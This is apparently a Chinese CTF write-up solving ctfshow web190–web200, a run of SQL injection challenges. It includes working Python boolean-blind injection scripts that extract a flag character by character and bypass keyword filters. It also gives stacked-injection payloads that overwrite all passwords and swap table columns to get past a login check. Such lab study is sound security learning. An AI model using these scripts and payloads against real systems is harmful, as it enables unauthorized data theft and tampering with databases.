ctfshow(web190-web200)

目录

web190

web191

web192

web193

web194

web195

web196

web197

web198

web199

web200


web190

为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误

admin' and '1'='1 密码错误

admin' and '1'='2 用户名不存在

判断出存在注入点

admin' and '1'='1 密码错误 返回值8bef

admin' and '1'='2 用户名不存在 返回值 5728

以上可以证明出可以使用布尔注入 当and后为1为一个页面 当and后为0为一个页面

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0

返回值8bef 也就是and后语句返回1

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0

返回值 5728 也就是and后语句返回0

以上就能确定可以进行布尔注入了

python脚本 使用二分法(这个脚本很强 二分法速度特别快,该脚本可以为二分法的模板,在大师傅给出的脚本中我修改了部分内容 使得可以按照输出 更容易理解代码)

import requests
url = "http://320af8bf-8a87-4f48-a37b-8838174bdcd1.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127 #ascii最大值
    min = 32  #ascii最小值
    while 1:#无限循环
        mid = (max+min)>>1 #相当于除2向下取整
        print("第{}波 max={}min={} mid={} ".format(i,max,min,mid))
        if(min == mid):#相等也就代表min+1=max  max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为c
            flag += chr(mid)
            print(flag)
            break
        # payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        # 当前数据表 ctfshow_fl0g和ctfshow_user
        # payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        # 当前字段名 id,f1ag
        # payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
        # 获取flag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为max
            max = mid
        else:                      #返回值为0 <99 将该值设置为min
            min = mid
    if mid == 32:# 如果mid的值等于空格 结束最外层循环
        print("flag={}".format(flag))
        break

得出flag

web191

用户名不能有file into和ascii 不能写文件和使用ascii值的方式进行判断

我的第一想法是换成hex 然后再通过hex解密得到原有字符串 但是发现hex中如果是z结果就是7a出现了两个字符无法判断 那就是使用替换 经过查找资料发现ORD和ASCII效果一样

将ascii修改为ord即可

web192

ord也被禁用了 hex也被禁用了

那就不用函数 直接判断字符是哪一个

username=admin'and (substr((select database()),1,1)='c')#&password=0

python脚本 

自己写的

import requests
url = "http://54b31325-2269-4d5c-a739-68fe13091b24.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 "
for i in range(1,60):
    for x in flagdic:
        payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x)
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if res.text.find("8bef")>0:
            if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flag
                break
            flag+=x
            print(flag) 
            break
    if x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束
        break

成功获取flag

web193

substr都过滤了

那就换一个函数使用left 也能做到substr的效果

python脚本 这里的数据表变成了ctfshow_flxg

import requests
url = "http://395fe6cb-9803-4905-a7a6-b4bdd6622d45.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x)
        # 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg
        # payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x)
        # 当前字段名 id,flag
        payload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x)
        # 获取flag
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if x == " ":
            a = 1
            break
        if res.text.find("8bef")>0:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

flg

注意一点 占位符{}要加上单引号

web194

left也被禁用了

早就在mysql文档中找函数 搜索关键字的方式

使用lpad替换left函数 本地先测试一下

确定一下固定语句

直接修改web193脚本

注意

在本地的时候

select lpad('abc',1,"") 用的是双引号 脚本中要用单引号 因为 整个语句字符串用的是双引号 范冲突

import requests
url = "http://ad864e5b-c99c-4b15-b2d7-7e95b7858527.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x)
        # 获取flag
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if x == " ":
            a = 1
            break
        if res.text.find("8bef")>0:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

输出flag

web195

过滤了很多 本地测试了一些 select和|都被禁用了 

跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的 

(前提依旧是已知一个用户admin)

pass已知后 就能通过这个语句

使用叠加注入 更新所有密码

通过回显去浏览器查找 显示用户名不存在 估计是执行成功了

账号admin和密码1怎么还是不行

原因:在sql语句中 $username 没有使用引号 数据库中的admin是字符串 条件中admin必须用单引号引起来 但是引号被过滤了 那就使用弱类型的方式吧 所有字符转换成整数都是0

用户为0 密码为1 得到flag

web196

用户名不能超过16个字符 

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)

可以用select绕过password的if判断。

判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断。
 

web197

这次select彻底被过滤了 并且update也被过滤了

方法1

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables
密码:ctfshow_user 

有个缺点如果ctfshow_user表不在row【0】的位置那就会失败

注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了

方法2

更新不可以的话 那就删表 建表

web198

创建删除用不了了 

方法一 非预期的方式 默认密码usernameAUTO 密码passwordAUTO(非预期没什么用)

因为是字符 必须使用单引号但是单引号被过滤了 所以这个非预期的方式不能用

方法二 本题依然可以使用上个题目的方法一show tables

方法三 修改表的结构在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。 已知两个列名 username和pass 将两个列名互换 

0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);

注意为什么用户名0可以 1不可以 我估计是密码是个字符串 本地测试一下

web199

方法一:本题依然可以使用show tables

方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

varchar(100)限制了存储的字符数量最多为100个字符,适合存储较短的密码或字符串。

text类型则允许存储更长的文本数据,但可能会占用更多的存储空间,并且在处理和索引方面可能不如varchar类型高效,特别是对于非常大的文本值。然而,如果你确定密码不会超过几百万个字符(这在实际情况中是非常罕见的),那么使用text类型也是可以的。在大多数情况下,为了节省空间和提高效率,使用varchar类型更适合存储密码。

0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

web200

多过滤了逗号 对我们无影响

web199的两种方法 还有一种方法前几关也能用 已知默认密码为passAUTO 用户名的位置是0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/258704.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

HBase 整合 Phoenix

目录 一、Phoenix 简介 1.1 Phoenix定义 1.2 为什么使用 Phoenix 二、Phoenix 快速入门 2.1 安装部署 Phoenix 2.1.1 上传并解压 tar 包 2.1.2 复制 server 包并拷贝到各个节点的 hbase/lib 2.1.3 配置环境变量 2.1.4 重启 HBase 2.1.5 连接 Phoenix 2.2 Phoenix…

FBX模型 转换成带有空间参考的 3DTiles(.b3dm) 数据(FBX glTF 3DTiles)

目录 0 引言1 数据类型介绍1.1 FBX数据1.2 glTF数据1.3 3DTiles1.3.1 简介1.3.2 3DTiles格式的LOD是如何定义1.3.3 文件后缀格式 2 转换工具2.1 CesiumGS /3d-tiles-tools 工具2.1 glf-to-3d-tiles工具 &#x1f64b;‍♂️ 作者&#xff1a;海码007&#x1f4dc; 专栏&#xf…

Linux下载安装Pychram社区版

一.背景 最近将开发也转到Linuxl发现vscode在Linux上面的速度个方面都比windows快太多了!!! 狠狠爱住,于是准备把pycharm也装上来,由于作者没有edu邮箱,于是拿社区版进行演示 二.具体步骤 2.1下载pycharm社区版 链接:下载PyCharm&#xff1a;JetBrains为专业开发者提供的P…

【经典LeetCode算法题目专栏分类】【第2期】组合与排列问题系列

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 组合总和1 class So…

你应该知道的C语言性能提升法之结构体优化

前两天码哥写了一篇《你应该知道的C语言Cache命中率提升法》的文章&#xff0c;讲述关于地址连续性带来的cache命中率提升&#xff0c;感兴趣的朋友可以先翻看一番。 今天的文章是关于如何优化结构体成员来提升cache命中率的。我们先来看一个例子&#xff1a; 代码一 /* a.c…

一文教你提高写代码效率,程序员别错过!

首先&#xff0c;每个程序员都是会利用工具的人&#xff0c;也有自己囊里私藏的好物。独乐乐不如众乐乐&#xff0c;今天笔者整理了 3 个辅助我们写代码的黑科技&#xff0c;仅供参考。如果你有更好的工具&#xff0c;欢迎评论区分享。 1、Google/Stackoverflow——搜索解决方…

ChimeraX使用教程-安装及基本操作

ChimeraX使用教程-安装及基本操作 1、访问https://www.cgl.ucsf.edu/chimerax/download.html进行下载&#xff0c;然后安装 安装完成后&#xff0c;显示界面 2、基本操作 1、点击file&#xff0c;导入 .PDB 文件。 &#xff08;注&#xff1a;在 alphafold在线预测蛋白》点…

编码器的数学描述

在数字信号处理和通信系统中&#xff0c;编码器扮演着非常重要的角色&#xff0c;它负责将原始信号转换成特定的编码形式&#xff0c;以便于传输、存储和处理。编码器的数学描述是理解其原理和设计实现的关键。本文将围绕编码器的数学描述展开&#xff0c;介绍编码器的基本原理…

智能物联网汽车3d虚拟漫游展示增强消费者对品牌的认同感和归属感

汽车3D虚拟展示系统是一种基于web3D开发建模和VR虚拟现实技术制作的360度立体化三维汽车全景展示。它通过计算机1:1模拟真实的汽车外观、内饰和驾驶体验&#xff0c;让消费者在购车前就能够更加深入地了解车辆的性能、特点和设计风格。 华锐视点云展平台是一个专业的三维虚拟展…

2023年中国法拍房用户画像和数据分析

法拍房主要平台 法拍房主要平台有3家&#xff0c;分别是阿里、京东和北交互联平台。目前官方认定纳入网络司法拍卖的平台共有7家&#xff0c;其中阿里资产司法拍卖平台的挂拍量最大。 阿里法拍房 阿里法拍房数据显示2017年&#xff0c;全国法拍房9000套&#xff1b;2018年&a…

C语言归并排序(合并排序)算法以及代码

合并排序是采用分治法&#xff0c;先将无序序列划分为有序子序列&#xff0c;再将有序子序列合并成一个有序序列的有效的排序算法。 原理&#xff1a;先将无序序列利用二分法划分为子序列&#xff0c;直至每个子序列只有一个元素(单元素序列必有序)&#xff0c;然后再对有序子序…

【VScode和Leecode的爱恨情仇】command ‘leetcode.signin‘ not found

文章目录 一、关于command ‘leetcode.signin‘ not found的问题二、解决方案第一&#xff0c;没有下载Nodejs&#xff1b;第二&#xff0c;有没有在VScode中配置Nodejs第三&#xff0c;力扣的默认在VScode请求地址中请求头错误首先搞定配置其次搞定登入登入方法一&#xff1a;…

netty线程调度定制

1、netty的线程调度问题 在netty的TCP调度中&#xff0c;线程的调度封装在NioEventLoopGroup中&#xff0c;线程执行则封装在NioEventLoop中。 线程调度规则封装在MultithreadEventExecutorGroup的next方法中&#xff0c;这个方法又封装了EventExecutorChooserFactory&#xf…

ArkTS @Observed、@ObjectLink状态装饰器的使用

作用 Observed、ObjectLink装饰器用于在涉及嵌套对象或者数组元素为对象的场景中进行双向数据同步。 状态的使用 1.嵌套对象 我们将父类设置为Observed状态&#xff0c;这个时候&#xff0c;子应该设置ObjectLink才能完成数据的双向绑定&#xff0c;所以我们构建一个组件&…

控制理论simulink+matlab

这里写目录标题 根轨迹二级目录三级目录 根轨迹 z [-1]; %开环传递函数的零点 p [0 -2 -3 -4]; %开环传递函数的系统极点 k 1; %开环传递函数的系数&#xff0c;反映在比例上 g zpk(z,p,k); %生成开环传递函数%生成的传递函数如下 % (s1) % -------------…

Vue3-23-组件-依赖注入的使用详解

什么是依赖注入 个人的理解 &#xff1a; 依赖注入&#xff0c;是在 一颗 组件树中&#xff0c;由 【前代组件】 给 【后代组件】 提供 属性值的 一种方式 &#xff1b;这种方式 突破了 【父子组件】之间通过 props 的方式传值的限制&#xff0c;只要是 【前代组件】提供的 依…

「Qt Widget中文示例指南」如何创建一个计算器?(三)

Qt 是目前最先进、最完整的跨平台C开发工具。它不仅完全实现了一次编写&#xff0c;所有平台无差别运行&#xff0c;更提供了几乎所有开发过程中需要用到的工具。如今&#xff0c;Qt已被运用于超过70个行业、数千家企业&#xff0c;支持数百万设备及应用。 本文将展示如何使用…

【开源GIS】如何高效地学习GIS开源项目?一上来就读源码你就输了!

目录 &#x1f525;前言Step 1: 熟悉项目Step 2: Hello worldStep 3: 深入了解和使用Step 4: 可以看源码了&#xff01;Step 5: API 二次封装Step 6: 持续关注和学习 &#x1f525;前言 都知开源好&#xff0c;只看源码看不懂&#xff0c;是俺太菜了&#xff1f;no no no&#…

kubeadm方式重置k8s集群

以kubeadm方式部署的k8s&#xff0c;当出现问题&#xff0c;排查解决的难度会非常大&#xff0c;如果是实验环境&#xff0c;直接进行集群重置即可&#xff0c;如果是生产环境&#xff0c;如果集群已经崩掉了&#xff0c;而且短时间时间内无法定位原因的情况的下&#xff0c;建…

Ansible(一)

Ansible: 远程操作主机功能&#xff1a; 自动化运维&#xff08;playbook剧本YAML&#xff09; 是基于Python开发的配置管理应用部署攻具&#xff0c;在自动化运维当中&#xff0c;现在是异军突起 Ansible能批量配置&#xff0c;部署&#xff0c;管理上千台主机&#xff0c…